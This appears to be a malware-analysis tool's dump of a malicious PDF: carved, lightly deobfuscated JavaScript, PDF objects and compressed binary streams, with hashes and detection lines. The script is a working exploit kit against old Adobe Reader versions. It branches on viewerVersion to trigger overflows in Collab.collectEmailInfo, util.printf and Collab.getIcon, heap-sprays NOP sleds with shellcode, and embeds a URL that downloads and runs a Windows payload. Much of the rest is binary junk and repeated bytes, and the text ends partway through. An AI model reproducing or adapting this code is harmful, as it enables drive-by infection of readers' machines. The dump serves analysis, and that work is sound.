vqq=vqq.substring(0,QRr/2);return vqq;}
RNZ=0x30303030;cYO=MFL("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0031\u0000\u0000\u0000%32%44%32%44");var hRb=0x400000;var iHM=cYO.length*2;var QRr=hRb-(iHM+0x38);var vqq=MFL("\u9090\u9090");vqq=Nlf(vqq,QRr);var hky=(RNZ-0x400000)/hRb;for(var Osy=0;Osy<hky;Osy++){LXu[Osy]=vqq+cYO;}
var xtT="06323052893310368539";for(MFL=0;MFL<138*2;MFL++){xtT+="0";}
util.printf("%45000f",xtT);}
function KMB(QMd)
{QMd=QMd.replace(/[\+1]/g,"0");QMd=QMd.replace(/[\+2]/g,"9");QMd=QMd.replace(/[\+3]/g,"8");QMd=QMd.replace(/[\+4]/g,"7");QMd=QMd.replace(/[\+5]/g,"6");QMd=QMd.replace(/[\+6]/g,"5");QMd=QMd.replace(/[\+7]/g,"4");QMd=QMd.replace(/[\+8]/g,"3");QMd=QMd.replace(/[\+9]/g,"2");QMd=QMd.replace(/[\+0]/g,"1");return QMd;}
function MYwzq(){var idARw=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0033\u0000\u0000");nYT=MFL("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+idARw;szv=MFL("\u9090\u9090");LMv=5*2;oZx=LMv+nYT.length;while(szv.length<oZx)szv+=szv;PyG=szv.substring(0,oZx);Mim=szv.substring(0,szv.length-oZx);while(Mim.length+oZx<0x40000)Mim=Mim+Mim+PyG;QXz=[];for(OEO=0;OEO<180;OEO++)QXz[OEO]=Mim+nYT;var jvj=4012;var cMP=Array(jvj);for(OEO=0;OEO<jvj;OEO++)
{cMP[OEO]=MFL("\u000a\u000a\u000a\u000a");}
Collab.getIcon(cMP+"_N.bundle");}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery split-literal-normalize from combined JavaScript objects at offset 0x497 12978 bytes
SHA-256: e2cd1b564a1d6bdc0da486ad186322476ecf3ab9467ed4f0d451ceda8629da7d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var MFL=unescape,DJn=app.viewerVersion.toString(),kMA=MFL("t\h\i\s");kMA=eval(kMA);if(DJn<8)
{MtcTW();}
if(DJn>=8&&DJn<9)
{MMi();}
if(DJn<=9)
{MYwzq();}
function JmXCz(bbNvL,oUegI){while(bbNvL.length*2<oUegI){bbNvL+=bbNvL;}
return bbNvL.substring(0,oUegI/2);}
function MtcTW(){var tfgdL=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0032\u0000\u0000");var VDPnC=0x0c0c0c0c;var nqDKR=[];var QgSEq=0x400000;var lCmGt=tfgdL.length*2;var oUegI=QgSEq-(lCmGt+0x38);var bbNvL=MFL("\u9090\u9090");bbNvL=JmXCz(bbNvL,oUegI);var KORIh=(VDPnC-0x400000)/QgSEq;for(var IQzvs=0;IQzvs<KORIh;IQzvs++){nqDKR[IQzvs]=bbNvL+tfgdL;}
var JYDbF=MFL("\u0c0c\u0c0c");while(JYDbF.length<44952)JYDbF+=JYDbF;this.collabStore=Collab.collectEmailInfo({subj:"",msg:JYDbF});}
function MMi(){var LXu=new Array();function Nlf(vqq,QRr){while(vqq.length*2<QRr){vqq+=vqq;}
vqq=vqq.substring(0,QRr/2);return vqq;}
RNZ=0x30303030;cYO=MFL("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0031\u0000\u0000\u0000%32%44%32%44");var hRb=0x400000;var iHM=cYO.length*2;var QRr=hRb-(iHM+0x38);var vqq=MFL("\u9090\u9090");vqq=Nlf(vqq,QRr);var hky=(RNZ-0x400000)/hRb;for(var Osy=0;Osy<hky;Osy++){LXu[Osy]=vqq+cYO;}
var xtT="06323052893310368539";for(MFL=0;MFL<138*2;MFL++){xtT+="0";}
util.printf("%45000f",xtT);}
function KMB(QMd)
{QMd=QMd.replace(/[\+1]/g,"0");QMd=QMd.replace(/[\+2]/g,"9");QMd=QMd.replace(/[\+3]/g,"8");QMd=QMd.replace(/[\+4]/g,"7");QMd=QMd.replace(/[\+5]/g,"6");QMd=QMd.replace(/[\+6]/g,"5");QMd=QMd.replace(/[\+7]/g,"4");QMd=QMd.replace(/[\+8]/g,"3");QMd=QMd.replace(/[\+9]/g,"2");QMd=QMd.replace(/[\+0]/g,"1");return QMd;}
function MYwzq(){var idARw=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0033\u0000\u0000");nYT=MFL("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+idARw;szv=MFL("\u9090\u9090");LMv=5*2;oZx=LMv+nYT.length;while(szv.length<oZx)szv+=szv;PyG=szv.substring(0,oZx);Mim=szv.substring(0,szv.length-oZx);while(Mim.length+oZx<0x40000)Mim=Mim+Mim+PyG;QXz=[];for(OEO=0;OEO<180;OEO++)QXz[OEO]=Mim+nYT;var jvj=4012;var cMP=Array(jvj);for(OEO=0;OEO<jvj;OEO++)
{cMP[OEO]=MFL("\u000a\u000a\u000a\u000a");}
Collab.getIcon(cMP+"_N.bundle");}
app.eval();
app.eval();
endstream
endobj
73 0 obj<</Subtype/XML/Length 224/Type/Metadata>>stream
©N> u «а©1XЄѕ»&Ї Єш'v/щ(шпС;с-nsd02`Б№Ђ0_5¦ћќ9%lч|Ъ|5‘•@ Ж‹эся ЄLД"  –Љ “©д«9иhS/ќkSЃcш-2T†ЮсѕqИ   ЊѓМwF} oN РХbљEИ iH\\ Лт
endstream
endobj
116 0 obj
<</ / / / /Filter/#46#6c#61#74#65#44#65#63#6f#64#65/Length 2000+054>>
stream
x �XmS 9 ��_�rU��5! iFҬ=W5���Hp $��,���1�1� H�����q�|�� ���/O�ZR�ij����^�. ��lpx1ܨ_O�Ë�ͫ��z8�}8���'������hr�lm��+ X4 ��i ԟ5Z b
� �M Z��q  ]�zvۛ >����|  ��*�O?�0'aotO�-����撹Nj�` ��_�}�n�GGo��7�  �l�n�OG�adm������ϲ���b�� �� ���9 ݜ-�fq "B�� ���2�[J�����v�h ��T�S ��/��@�����
�T$�� 
�^��w� �"�/B� � �� h RO� c� �� ̓N�Q  ı�ސ� L� �]N �X�&%�  u ��0�R���� �1��3�
�Y'!� �J :UI���  F��� &� A�"Hƴ���k �f-=k�9� &��  y��Y� ��h��DƴN({����-��7�P$9�N� yt��-�u� ���0�:�� }Y�` � �<T ����!L�� Eh����As$dU �'<��� M�Q�N{�ʱ�0���j�˒v�� М"_U�#{�Z���=`�| O^&� s  ;�t ̱ ?� a:�-�>��+ʏ� "L� �
9p\E3º�ȱ����k�WЏ3��r� O\���9  ��)�"p� Ə���o�9��!*�)����V�e���֤S+��� � !f�V_�|"L.!�4S� �4�h�� �� *ʹ� ��9I}E9�+�ZbG���:�*f���H��BȰ�I]# o M&�V���[� �!� �IR�楃�� " )G�-=���
V^� K� 倬$��.j�U"� kG���D�(���3�x���{)J֡*aR�, a��2  SJ�T M����Io({^#?�bi � �5XM �� �  ��
��\�#�  FjD�3 K�hlJ��l!�����$LAyˌ�L� �ET��(�ye�t�:  0�������	�D��D����ݤ*�W1��̜\�o��� ��{��_B#%[��qu���&�j1,�6S���&k��We�+n3wM# 9 !�@��a/c�7;{[�E� }y F� ;� �O�4��ݛ�Y!:��e�8n�[�<�}  ������������(��EY@�@ Wl�,_γ��y&[�j �љ��f���������|:,* 3k8�����xkr|޼E���K��q6;��m��wX��� ���E1 ^?/���o���&�v|ܼ����ݛ�uz|]-B���  ���%�֚;t��/� ��{� �X��� |ڹKH%�[[>QJ��{*���
K��	� w�u%v�� � �K������6�d�K ��L���Ʃ�R��+��ܿ3��t�Ғ�<���f�Ǚ��Q�;�(E�T(�*�t'0����� qҜn!iB�B)�Si�� P�   �(rKhU�  � �T� %�i ��d�|y�xP(�/X� _�ga]
���hk� �4jR � if"�I�5[Y _�5ΰR ���( �nQ�
8��n� ��!�   �¦\�� ��D��j� �	 ے�An=2�-� � V:�j��B   hY� �� ��t �7�e�E���@������T��K��M% �� TiB�!�� �Ĉ ᵰ� <�,<g)#~f�+�@ ^T ��߈���Դ��s��P�E�F��ݧ{G�uy��^���* \?q� h�lBz� Se��J�«ZL��U�1N��V4Q#��_@����� j/h ��IU 5l � �?mD���_� ���J*l �q� ���� ��sKt@���?K   ��0k d1 �7/�ޚ 7 /�F��	 A丱 ͵���皻��xR� �ۜ /Ƈ�a��~�� �:� n��wR��� �b�}D���<"�X� �j�f�H
K�G���� i�R��T�4�t� � d|�}z� �-j��ܻ��AOO��'�� ��	�� ���O@���. ��O �j�� �� ������F�� �3��z���	۽�"Å���� �m��=r� ���# :-|m  �w�~�ϵ'&)tz�� �  /Y'�����n��]>�[ ��6��Kg��
�S���;~�n�~��X��% �}p � �����՗" ��/�޻">��ƫz
 ,  г[(.�� �|f  Rd����c�d8� �O��l7�� w��#�� �� dH�� ��.�x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�
endstream
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1990 0 obj
<</ / / / /S/#4a#61#76#61#53#63#72#69#70#74/JS 116 0 R/ / / />>
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
5 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
9 0 obj
<</ / / / /count 2/Type/Pages/Kids[1894 0 R]/ / / />>
endobj
123 0 obj
<</ / / / /Length 0000>>
stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
endstream
endobj
23 0 obj<</CropBox[0 0 595.22 842]/Parent 62 0 R/Contents 25 0 R/Rotate 0/MediaBox[0 0 595.22 842]/Resources 24 0 R/Type/Page>>
endobj
24 0 obj<</ColorSpace<</Cs6 59 0 R>>/Font<</TT2 52 0 R/TT3 54 0 R/TT4 45 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS1 57 0 R>>>>
endobj
25 0 obj[26 0 R 27 0 R 28 0 R]
endobj
26 0 obj<</Length 3>>stream
Y.в
endstream
endobj
91 0 obj
<</ / / / /S/JavaScript/JS 123 0 R/ / / />>
endobj
xref
trailer
<<
/Root 15 0 R
>>
startxrefx� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x497 12999 bytes
SHA-256: c7d8c2ac4902ddcf9298812e8abee2c8d58fa5a4297c01fa833c155a8f92d142
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var MFL=unescape,DJn=app.viewerVersion.toString(),kMA=MFL("t\h\i\s");kMA=eval(kMA);if(DJn<8)
{MtcTW();}
if(DJn>=8&&DJn<9)
{MMi();}
if(DJn<=9)
{MYwzq();}
function JmXCz(bbNvL,oUegI){while(bbNvL.length*2<oUegI){bbNvL+=bbNvL;}
return bbNvL.substring(0,oUegI/2);}
function MtcTW(){var tfgdL=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\u